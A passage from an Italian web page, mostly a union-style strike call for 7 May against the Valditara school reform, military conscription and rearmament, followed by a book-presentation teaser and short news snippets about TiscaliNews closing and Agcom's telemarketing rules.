neutre, ma una precisa operazione politica. Si riscrive il canone in chiave identitaria, si restringe lo sguardo storico proprio mentre si chiede ai nostri ragazzi di diventare carne da cannone in guerre globali, si svuotano gli strumenti critici per leggere il presente – il colonialismo, le migrazioni, il genocidio in corso – riducendoli a marginalità rispetto a un nucleo "euro-occidentale" presentato come depositario universale di diritti e civiltà. È la stessa narrazione bellicista che giustifica l'aumento delle spese militari e la riduzione del welfare, trasferita dentro i programmi scolastici. L'irruzione dell'intelligenza artificiale "in attuazione della Legge 132/2025 e dell'AI Act", senza alcuna formazione strutturata per il personale e senza investimenti reali, completa il quadro: parole d'ordine modernizzanti su un impianto culturalmente regressivo. E come già accaduto per le Indicazioni del primo ciclo, la "consultazione" è una farsa: il questionario predisposto dal ministero non prevede neanche l'opzione del parere negativo. La fase di ascolto è una messa in scena, come lo è la riforma stessa. Tecnici e licei, dunque, non sono due capitoli distinti: sono il dritto e il rovescio dello stesso progetto. Una scuola che separa, che gerarchizza, che addestra i figli del lavoro al lavoro precario e i figli delle élite a una "missione di civiltà" funzionale alla retorica di guerra. Va respinta tutta intera. Inclusione, salari, contratto Scioperiamo per la scuola che include e non separa, capace di rispondere ai tagli agli organici di sostegno e ai servizi per gli alunni con disabilità previsti dal decreto legislativo 62/2024 – scelte di cinica contabilità fatte sulla pelle di studenti, famiglie e lavoratori, mentre i soldi pubblici vengono trasferiti all'industria militare. Rivendichiamo la stabilizzazione dei precari, l'internalizzazione degli educatori delle cooperative sociali, salari adeguati all'inflazione, un contratto degno. Contro la leva, contro la guerra! Davanti al rischio di escalation della guerra in Iran e alle sue ricadute globali, mentre il genocidio del popolo palestinese continua nel silenzio complice dei governi occidentali e delle complicità con lo Stato di Israele, dobbiamo riconnettere scuola e società reale. La scuola rischia di essere risucchiata nella spirale folle innescata dagli USA di Trump, con il silenzio-assenso degli altri governi occidentali, e di essere ridotta a funzione del processo di militarizzazione. In molti paesi europei si è già reintrodotta o ci si avvia a reintrodurre la leva militare obbligatoria. Anche contro la leva dobbiamo scioperare: gli studenti non sono carne da cannone, non sono forza lavoro disponibile, non sono risorse umane da ottimizzare per l'economia di guerra. Il progetto di reintroduzione della coscrizione non è separabile dall'escalation bellica, dall'aumento delle spese per gli armamenti a scapito del welfare, dalla narrazione che vuole trasformare le nostre scuole in anticamere delle caserme. Non a caso il 7 maggio sarà anche il giorno dello sciopero dei lavoratori portuali di USB contro la privatizzazione e la militarizzazione dei porti: una convergenza che riconnette i protagonisti delle mobilitazioni dello scorso autunno e dà forza a un progetto alternativo. Il 7 maggio si sciopera. Studenti e lavoratori uniti, contro la guerra, contro la leva, contro la scuola classista di Valditara – tecnici e licei. Per una nuova scuola pubblica, statale, democratica e antifascista.
Vi invitiamo alla presentazione di due libri di Massimo Filippi: Laika, forse Docu-romanzo che ricostruisce il breve passaggio su questo pianeta della cagnetta Laika. Il libro si snoda in quattro movimenti: la vita di una piccola randagia tra le … Continua a leggere→
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Oggi è l'ultimo giorno di pubblicazione di TiscaliNews. L'azienda ha deciso di chiudere la redazione e la testata. Un giorno qualcuno racconterà di come sia stato stato possibile far finire in condizioni tanto critiche uno degli ultimi miracoli industriali e tecnologici italiani. Un giorno...
Ventisei anni non sono solo un numero. Sono milioni di letture, migliaia di articoli, notti davanti a uno schermo mentre il resto del Paese dormiva, mattine in cui le notizie arrivavano prima ancora del primo caffè. Sono una redazione nata quando Internet in Italia era ancora una frontiera e fare...
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Basta numeri mascherati, basta chiamate fantasma. La stretta contro il telemarketing selvaggio entra nel vivo: l’Agcom introduce un sistema che punta a rivoluzionare il modo in cui riconosciamo chi ci chiama. La chiave è semplice ma potente: numeri brevi a tre cifre, pensati per rendere...
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